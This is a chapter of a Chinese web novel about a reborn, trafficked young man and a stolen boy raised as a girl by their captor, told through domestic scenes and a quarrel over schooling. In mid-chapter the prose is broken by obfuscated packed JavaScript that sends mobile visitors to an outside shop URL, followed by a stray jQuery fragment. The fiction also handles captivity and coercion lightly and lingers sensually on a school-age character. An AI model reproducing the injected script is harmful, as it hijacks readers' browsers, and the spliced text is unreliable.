夏明庭和辛果,吃饭时一个没衣服一个没裤子,谁也不尴尬,安静地吃着饭。
老头喝着散白,夹了筷夏明庭炒的白菜。
滋味儿不错。
“小子,你这饭做得香。”老头一筷子白菜一口小酒,吃美了。
夏明庭宠辱不惊,“你要是买瓶洗发水,我做饭更好吃。”
扒拉包谷饭的辛果震惊扭头,夏明庭这么勇?赤裸裸把老头当傻子,老头不会打死他吗?
夏明庭感受到辛果的目光,夹起不小心放进自己碗里的腊肉肠扔给辛果,蹙眉道:“少吃点腌制食品,不健康。”
他能吃到肉就不错了。
辛果连忙把腊肠往自己嘴里扒拉。
“行。”老头精神时好时不好,现在就不太清醒,“我明天就去买洗发水,顺便给你们小两口买点润滑油,让我早点抱上外孙子。”
夏明庭重生的,切切实实经历过上一世,自然知道老头什么心思,对老头口出狂言没有丝毫惊讶。
辛果差点呛死。
“吃饭你着什么急?”夏明庭眉心微拧,盛了碗蛋花汤,用一整个荷包蛋煮的汤,唯一一个荷包蛋在辛果碗里,“之前不是吃了一个洋芋了吗?”
辛果端起鸡蛋汤喝了两口,给自己顺气。
夏明庭不老实,就买给牲口用的发情药;老实,就买润滑油。
居然还挺随机应变。
辛果幽幽开口,“爹,你不要你闺女了吗?”
老头嘻嘻傻笑,“闺女,爹永远最爱你。就算外孙子出生了,爹也不疼他,放心嗷。”
辛果放心个鬼。
他这次指定不跟夏明庭滚床单,他要两个男主干干净净的相爱。
好吧,夏明庭不弄死他就不错了,还跟他生孩子?
他怕死在男主床上。
好在老头对夏明庭没那么放心,晚上还是把夏明庭关进了白天那个杂货房。
两个人还是分开睡的。
“小闺女儿最重要的是保护好自己,”老头谆谆教导,“你不要看他长得帅,就轻易地把第一次给了他。”
“男人不会珍惜的。”
“闺女听爹的,先跟他相处试试。”
辛果试探,“我跟他处不来,你就把他放走?”
老头瞪了辛果一眼,“败家玩意儿,那可是5000块钱买来的!处不来就一直锁着,当给你播种的牲口使。”
那还说啥啦!
辛果对老头不抱期望,还是他自己想招儿把男主救出去吧。
辛果想着想着就睡着了,再睁眼天都亮了。
“你干嘛?”辛果困倦地看着站在他床边的夏明庭。
夏明庭一边拆被套一边道:“你接着睡,昨天的衣服都干了,竹竿正好空下来,我去把床单被套洗了。”
不愧是男主,啥日子都能过起来。
“往那边滚滚,”夏明庭道:“我抽下床单。”
辛果听话地翻了个身,等到夏明庭把旧床单抽走换上新床单,享受地翻回来。
辛果重新闭上眼,睡意上泛。
夏明庭团好床单被套,开始对辛果枕头下手,他抽走了辛果的枕头,换了个新的枕套垫了回去。
嗯……感受到失重的辛果瞬间睁开眼。
彻底醒了。
夏明庭瞧了辛果一眼,“不睡觉就去吃早饭。”
说完夏明庭就抱着脏了的三件套出去了。
辛果双臂交叠枕在脑后,透过发黄的窗户,侧头望着蓝蓝的白天。
要是夏明庭一直在这里,周巷能找到他吗?
应该可以吧。
毕竟正缘的力量是强大的。
辛果起床吃了碗夏明庭煮的鸡蛋面,两天吃了两个鸡蛋还有好几块腊肉肠,真幸福。
夏明庭已经洗完床单被套,正坐在竹椅子上剥花生。
辛果忧郁地一屁股坐在夏明庭怀里,开始思考自己忧郁的人生。
夏明庭腿上一沉,看到了辛果凝重的表情,估计是不知道花两块钱买玩具还是买零食,懒得搭理辛果,长臂绕过辛果的腰,搂着他继续剥花生。
他上辈子查过,辛果是老头从普通职工家庭偷走的,被当成老头早逝的女儿养。
也不知道怎么有一身细皮嫩肉,比他这个真少爷都娇贵。
坐椅子嫌硌得慌,专往人腿上坐。
上辈子他拆了床破被子,给辛果缝了个软垫。
辛果走哪里都带着,方便他随时坐着。
夏明庭低头,辛果穿着他的T恤靠在他的胸膛,莹润清纤的小腿轻快地晃着。
他没衣服,辛果瘦巴巴的小脸儿压在他赤裸的肩膀,挤得微微变形,哪怕这样都无损他的漂亮。
辛果其实胖点会更漂亮。
但…关他什么事。
辛果上辈子那样对他,他不会再对辛果付出一点,也不会给他缝那个软垫。
辛果爱如何如何。
“哥哥,”辛果懒洋洋地晒着太阳,骨头都酥了,声音也软绵绵地发甜,“你腿软软的,坐着好舒服,不会硌到我屁股。”
夏明庭剥花生的手顿了顿,上辈子辛果爱上周巷后,他们就很少有这样平和的时光,无一不是针尖对麦芒。
这样两个人依偎着晒太阳,想起来也是很久远的事情。
夏明庭尽量维持声音平稳,“是你太瘦,坐在哪里都是你的骨头发力。”
辛果翘脚脚,“原来是这样啊。”
夏明庭动作慢慢停下来,垂眸看着单纯可爱的辛果。
其实他也不是不能……
“哥哥,”辛果坐起来点,眨巴眼睛问夏明庭,“你有哥哥弟弟吗?你想他们吗?”
快点把周巷想起来吧,你的竹马还等着你回家呢。
夏明庭脸色忽然冷下来,剥花生的动作加快,看上去像在发泄。
尽管他知道辛果现在根本不认识周巷。
夏明庭语气很呛,“没,死绝了。”
辛果被噎住,不死心道:“真的?”
周巷在夏明庭心里,兄弟都排不上,感情这么稀薄吗?
“不然?”夏明庭把手里最后一把花生扔进笸箩里,斥道:“下去,难道我还会诅咒我兄弟死吗?”
辛果的人体软垫撤离。
夏明庭心绪浮躁地翻动太阳曝晒的花生豆。
他不是不离开,而是知道上辈子周巷查到这里,跟辛果打电话求救的时间几乎是前后脚。
既然如此,不如安心等着父母找到他,省得他费心费力逃跑,还有被老头抓住的风险。
只是这次他不会带辛果回夏家,更不会给他们两个见面的机会。
辛果见夏明庭莫名其妙又不高兴,自觉不去触霉头。
昨天洗的衣服干了,辛果换上他爹省吃俭用给他买的黄裙子和小皮鞋,美滋滋地转了两圈,“我明天就穿这身新衣服上学。”
城里有寒暑假,他们这边偏僻的地方却是反着来。
其他时候农忙,最冷最热的时候,孩子们才有空闲读书。
支教老师为了能让更多的孩子读书,默认了这样颠倒的时间安排。
夏明庭不评价辛果把只是洗干净的衣服当新衣服的行为,突兀开口,“不许去。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17884512|212503||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>辛果愣了下,“为什么?”
夏明庭皱了皱眉,薄唇轻动,不知道说什么。
上辈子他见过村里唯一一位支教老师,据说是好不容易考出去,毕业后却回来反哺家乡。
听上去心怀大义。
可他觉得,那位老师每次看辛果的眼神,都让人很恶心。
夏明庭没法跟辛果解释他的不舒服,声音又冷又硬,“总之不准去。”
辛果软软地凑到夏明庭眼前,纤长的睫羽仿佛下一秒就要戳到夏明庭脸上,乌灵灵的眼眸宛若泓山泉水里的玉石,清润得厉害。
夏明庭下意识屏住呼吸,生怕辛果从哪里沾染的花草精灵的馥郁香气,霸道地占据他的肺腑。
“哥哥,”辛果甜甜弯起柔红细嫩的唇角,吐字截然不同的恶毒,“你是被拐卖的,当然上不了学。”
“我是我爹的宝贝女儿,我可以哦。”
辛果把夏明庭当成嫉妒他能上学,从而不想让他上的卑鄙小人。
夏明庭所有的旖旎烟消云散,随后就是无穷无尽的怒火。
上辈子也是,这个老头明明跟辛果没有任何关系。
一个人贩子,害了辛果十几年的人贩子。
辛果非要跟自己作对,要护着他。
哪怕自己告诉辛果,是老头偷偷抱走他,是老头害得他与亲生父母分离。
自己可以帮辛果找到他的亲生父母。
没用,都没用。
辛果还是认他,就跟辛果铁了心要跟周巷在一起一样。
好像自己做什么,在辛果眼里都是错。
“呵,”夏明庭冷笑,“宝贝女儿?那你考上高中,他怎么不让你去上,还让你留在村里上你读了好几年的初中?”
辛果学习成绩很好,在村里一直是佼佼者,前两年就考上了镇里的重点高中。
但是他没去。
老头说没钱供辛果,校领导讨论下愿意给辛果免学费。老头又改口,说舍不得闺女。
就这样,辛果继续留在村里,学习他早已经滚瓜烂熟的初中知识。
支教老师的能力也只能教到初中,除此之外,他多给辛果带几本高中书本也没别的办法了。
辛果或许心里有答案,然而被夏明庭直白戳破,还是受不了。
“那是我爹舍不得我。”辛果强撑着跟夏明庭争辨。
夏明庭反问,“你自己信吗?”
他不信。
他想上学。
可是老头对他很好,他是村里唯一一个有铅笔盒有新书包的小孩。他发高烧,老头走了三天三夜去市里给他拿药。他跑去山上,老头为了找他摔断了三根肋骨。
他不信又能有什么办法?
所有人都知道,他是老头唯一的女儿,疼到骨子里的的女儿。
辛果眼圈发红,漂亮的眼睛氤氲出温热的水汽,稠黑的睫毛根部沁出点点湿润,再也忍不住大声哭了出来。
夏明庭看着辛果哭得这样厉害,心脏酸软到发苦。
“你怎么总是分不清谁才是对你好。”
这样会放任别人对你的伤害。
夏明庭没办法看着辛果这样哭,哪怕辛果上辈子背叛他,要跟周巷在一起,他也没将辛果斥责到哭成这样。
“不哭了,”夏明庭抱起辛果,温热的手掌贴着辛果颤抖的后心,挨了挨辛果湿漉漉的脸蛋,轻声哄道:“宝宝乖,不哭了。”
“哥哥以后再也不这样说了。”
辛果搂着夏明庭的脖子,哭得上气不接下气。
“呜呜呜,我讨厌你。”
“我以后再也不跟你玩了。”